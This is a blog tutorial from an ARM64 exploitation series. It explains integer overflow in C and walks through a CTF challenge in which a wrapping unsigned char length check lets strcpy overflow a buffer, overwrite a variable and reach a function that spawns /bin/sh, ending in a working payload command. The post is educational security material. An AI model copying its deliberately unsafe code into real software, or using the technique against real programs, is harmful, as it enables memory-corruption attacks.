ARM64 Reversing And Exploitation Part 8 – Exploiting an Integer Overflow Vulnerability

Hello everyone,

In this blog, we will explore integer overflows and their potential to create issues within your software. We will provide a walkthrough of a small CTF binary to illustrate their risks. Before we begin, ensure you meet certain prerequisites below.

Prerequisites

  • Familiarity with ARM64 assembly instructions.

  • ARM64 environment with GEF.

  • Ability to read and understand C code.

If you are new here, we recommend trying out our complete ARM64 Exploitation series.

Integer overflow

So what is an integer overflow ?

Simply put, it’s a type of arithmetic overflow that occurs when the result of an integer operation doesn’t fit within the allocated memory space. On its own, integer overflow doesn’t raise significant concerns. However, it can lead to other vulnerabilities, such as buffer overflows, which can result in severe security issues. For example, if the software has a vulnerable function that could trigger a buffer overflow, and this function is protected by boundary checks, an integer overflow within those checks could allow us to bypass the protection and trigger the buffer overflow.

If you visit the CWE Top 25 list on Mitre’s website, you’ll notice that integer overflows still exist and are ranked at number 14.

To learn about this vulnerability in depth, we should start by revisiting C data types. Let’s take a quick look at that for a better understanding.

 

In this table, you can see the different data types used in C, along with their ranges. The “Range” column provides information about the values these data types can hold.

Let’s take an example, if you look at the unsigned short int data type, it can only store positive values, and its range is from 0 to 65535. Therefore, the minimum value it can hold is 0, and the maximum value it can hold is 65535. So what do you think will happen when we try fit a value larger than 65535? Let’s find out.

				
					#include <stdio.h>

int main()
{
unsigned short int a = 65535;
printf(“%d”,a);

return 0;

}











Consider the program above. We have defined an unsigned short int variable a which holds the maximum value of that type.

Let’s compile and run this program. You can also use this.

















As expected, the program prints the value present in the variable a. Let’s add one to it and see what happens.












#include <stdio.h>

int main()
{
unsigned short int a = 65535+1;
printf(“%d”,a);

return 0;

}



















The program outputs 0 !! . If we look at the warning messages, it’s indicating an overflow. So what really happened here ? Let’s find out using our calculator.

















The maximum value that fits in the unsigned short int variable is 65535 . The size of this data type is 2 bytes that is 16 bits. Looking at the calculator we can see that all those 16 bits are filled. Let’s add one to 65535, changing it to 65536.

















Now, if you examine the highlighted binary sequence closely, you’ll notice that the rightmost 16 bits are all zeros. Additionally, an extra 4 bits are displayed in the binary field. Therefore, the value 0001 0000 0000 0000 0000 is used to represent the value 65536, which no longer fits within the 2-byte (16-bit) size. As for the size of unsigned short int, only 16 bits would be used to represent the value, resulting in zero because the 16 rightmost bits in the binary representation are all zeros (which also equals zero in decimal).

To summarize briefly, when we enter a value greater than 65535, which exceeds the maximum range of an unsigned short int with a size of 2 bytes, it will overflow, as observed in the binary field in the calculator, and wrap around to zero (specifically, the last 16 bits from the right). Consequently, the value becomes zero.









Challenge binary









Its time to a challenge, check out the below c code.












#include <stdio.h>
#include <string.h>
#include <stdlib.h>

void check(char* password);

void win() {
printf(“Congrats You won you got a shell :)\n\n”);
system(“/bin/sh”);
}

int main(int argc, char* argv[]) {
if (argc != 2) {
printf(“Provide me one argument\n”);
exit(0);
}
check(argv[1]);
return 0;
}

void check(char* password) {
char buffer[10];
int user_win = 0;
unsigned char length = strlen(password);
printf(“Welcome… Try getting a shell\n”);
printf(“Length of your input is: %d\n”, length);
if (length >= 4 && length <= 8) {
strcpy(buffer, password);
if (user_win == 0x42424242) {
win();
} else {
printf(“You lost\n”);
}
} else {
printf(“Keep the length between 4 and 8\n”);
}
}











Our objective here is to call the win() function. Let’s examine the code for a better understanding.

The program expects an input as an argument, and this input will be passed to the check() function, which contains three local variables:












char buffer[10];
int user_win = 0;
unsigned char length = strlen(password);











The length variable calculates the length of the input passed to the check() function. If the length falls within the range of 4 to 8 (inclusive), the data in the password parameter will be copied to the buffer. Afterward, it will compare the value of user_win to 0x42424242 (Hexadecimal). If it matches, the win() function will be called. To call the win() function, we need to trigger a buffer overflow in the program. Fortunately, the strcpy() function is used in the program to copy user input. However, there’s a catch, there is a sanity check before using strcpy(). So simply sending a sequence of ‘A’s won’t work this time. If you look closely enough, you can find another vulnerability:












unsigned char length = strlen(password);











Yes, you guessed it. There’s an integer overflow in the length variable, and it’s being used for the sanity check. So we can bypass the sanity check by taking advantage of the integer overflow vulnerability.

Let’s compile the source code and run our binary.












gcc integer.c -o integer














8ksec@debian:~/lab/challenges/integer_overflow$ ./integer Hello
Welcome… Try getting a shell
Length of your input is: 5
You lost











Let’s try with a large input.












8ksec@debian:~/lab/challenges/integer_overflow$ ./integer AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAa
Welcome… Try getting a shell
Length of your input is: 80
Keep the length between 4 and 8











Just like we expected, the sanity check is preventing us to trigger the buffer overflow.

Now let’s take a look at the unsigned char data type.

An unsigned char is used to represent an unsigned character data type in the C and C++ programming languages. It is a fundamental data type that can store small integer values ranging from 0 to 255 (or 0x00 to 0xFF in hexadecimal) and typically occupies 1 byte of memory. Thus, the maximum range is 255. Let’s explore what occurs when we attempt to store a value greater than 255.

















There you go, we have an integer overflow. We can check this using the calculator.

















Let’s try adding one to this again.












#include <stdio.h>

int main()
{
unsigned char a = 256 + 1;
printf(“%d”,a);

return 0;

}



















Now we get 1 as the output. If we add one again, we will get 2, and so on. This behavior occurs because unsigned char wraps around to 0 when it exceeds its maximum value of 255. So, to bypass the check, we just need to send an input with more than 255 characters, allowing us to bypass the sanity check and trigger the buffer overflow.

Let’s try that.












8ksec@debian:~/lab/challenges/integer_overflow$ (python3 -c ‘print(“A” * 256)’)
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
8ksec@debian:~/lab/challenges/integer_overflow$ ./integer $(python3 -c ‘print(“A” * 256)’)
Welcome… Try getting a shell
Length of your input is: 0
Keep the length between 4 and 8
8ksec@debian:~/lab/challenges/integer_











Now, the length is showing as 0. To bypass the check, we need the length to be between 4 and 8. So let’s send 260characters.












8ksec@debian:~/lab/challenges/integer_overflow$ ./integer $(python3 -c ‘print(“A” * 260)’)
Welcome… Try getting a shell
Length of your input is: 4
You lost
Segmentation fault











Now that we’ve successfully bypassed the check and triggered the buffer overflow, the program crashes.

The next task is to set the user_win variable to 0x42424242 so that we can call our win() function. Firstly, we need to identify the input that overwrites the user_win variable. We can use a pattern for that.

https://wiremask.eu/tools/buffer-overflow-pattern-generator/

















Let’s run the binary inside gdb.












8ksec@debian:~/lab/challenges/integer_overflow$ gdb ./integer











Now disassemble the check() function.












gef➤ disass check



















The line 0x00000000000009b8 <+108>: cmp w1, w0 is comparing whether the user_win variable is equal to 0x42424242. Since Position-Independent Executable (PIE) is enabled, the addresses are not loaded yet. Therefore, let’s set a breakpoint at main() and run the program to debug it.












gef➤ b main
Breakpoint 1 at 0x910











Let’s also pass the pattern as the argument to the program.












gef➤ r Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai



















Now that the breakpoint has been hit and the addresses are loaded, let’s locate the address of the cmp instruction and set a breakpoint there.




















gef➤ b *0x0000aaaaaaaa09b8
Breakpoint 2 at 0xaaaaaaaa09b8











Continue using c command until the program hits the breakpoint.

















Now, let’s examine the contents of w1 and w0. w0 contains the pattern input we sent, and w1 contains the value 0x42424242. We’ve already know that BBBB corresponds to 0x42424242.

Let’s find out the offset for the user_win variable.

















It’s 12. Now that we know the offset and the value to overwrite the user_win variable, the payload will be as follows:












payload = 12 * "A"s + BBBB + (260 - 12 - 4) * "A"s











So let’s try it.












8ksec@debian:~/lab/challenges/integer_overflow$ ./integer $(python3 -c ‘print(“A” * 12 + “BBBB” + (260 - 12 - 4) * “A”)’)



















Finally, we successfully bypassed the check, called the win() function by triggering the buffer overflow, and obtained our shell.





The post ARM64 Reversing And Exploitation Part 8 – Exploiting an Integer Overflow Vulnerability first appeared on 8kSec.

Article Link: https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/?utm_source=rss&utm_medium=rss&utm_campaign=arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability